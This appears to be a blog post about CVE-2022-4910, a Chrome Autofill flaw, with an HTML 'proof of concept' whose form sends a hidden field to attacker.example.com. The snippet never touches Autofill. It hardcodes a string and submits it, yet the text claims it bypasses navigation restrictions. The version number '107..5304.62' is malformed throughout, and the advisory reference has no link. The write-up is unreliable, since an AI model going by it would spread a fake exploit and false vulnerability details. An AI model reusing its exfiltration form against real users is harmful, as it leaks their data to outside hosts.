A newly discovered security vulnerability, labeled CVE-2022-4910, affects Google Chrome web browsers prior to version 107..5304.62. The issue lies in the inappropriate implementation of the Autofill function, which could allow remote attackers to bypass navigation restrictions through a maliciously crafted HTML page. Google's Chromium project considers the security severity to be of medium level. In this long read post, we will dive into the details of the vulnerability, provide code snippets to demonstrate how it works, reference original sources, and discuss potential exploit methodologies.

Background

CVE-2022-4910 is a vulnerability in Google Chrome that affects the Autofill function. Autofill is designed to help users quickly fill out online forms by remembering and suggesting common information like names, addresses, and credit card numbers. However, the vulnerability identified in Chrome's Autofill function can potentially be exploited by attackers to bypass navigation restrictions and execute unauthorized actions.

Code Snippet

The following simple code snippet demonstrates how a malicious HTML page can exploit the Autofill vulnerability to bypass navigation restrictions:

<!DOCTYPE html>
<html>
<head>
  <title>Exploiting CVE-2022-4910</title>
</head>
<body>
  <form action="https://attacker.example.com/leak"; method="POST" autocomplete="off">
    <input type="hidden" name="stolenData" id="stolenData" />
    <input type="submit" value="Submit" />
  </form>

  <script>
    // Exploiting the Autofill vulnerability to bypass navigation restrictions
    function exploitAutofill() {
      const vulnerableInput = document.querySelector('#stolenData');
      // Assuming this data would be autofilled by Chrome
      const maliciousData = 'user_private_data';
      vulnerableInput.value = maliciousData;
      vulnerableInput.form.submit();
    }
    
    exploitAutofill();
  </script>
</body>
</html>

In this example, a form with a hidden input field is used to store maliciously obtained data. The JavaScript function exploitAutofill() bypasses the navigation restrictions by simulating Chrome's Autofill process and submitting the form to a remote server controlled by the attacker.

References

The information regarding CVE-2022-4910 was originally disclosed in the Chromium project's security advisories, which can be found at the following link:

- Chromium Security Advisory

Exploit Details

To exploit the vulnerability, an attacker would need to create a maliciously crafted HTML page that leverages the insecure implementation of Autofill in Google Chrome prior to version 107..5304.62. The attacker could then trick a user into visiting the malicious page, where the user's personal information could be compromised and potentially sent to an attacker-controlled server. Depending on the type of information leaked through this exploit, the malicious actor could potentially execute further attacks, such as identity theft or financial fraud.

Conclusion

CVE-2022-4910 is a medium severity security vulnerability affecting Google Chrome versions prior to 107..5304.62 and is caused by an inappropriate implementation of the Autofill function. As a Chrome user, it is vital to ensure that your browser is updated to the latest version to protect against security vulnerabilities like this one. It's also worth noting that although this vulnerability may not lead to full system compromise, it is still essential to take it seriously due to the potentially sensitive information that could be exposed through this exploit.

Timeline

Published on: 07/29/2023 00:15:00 UTC
Last modified on: 08/02/2023 03:58:00 UTC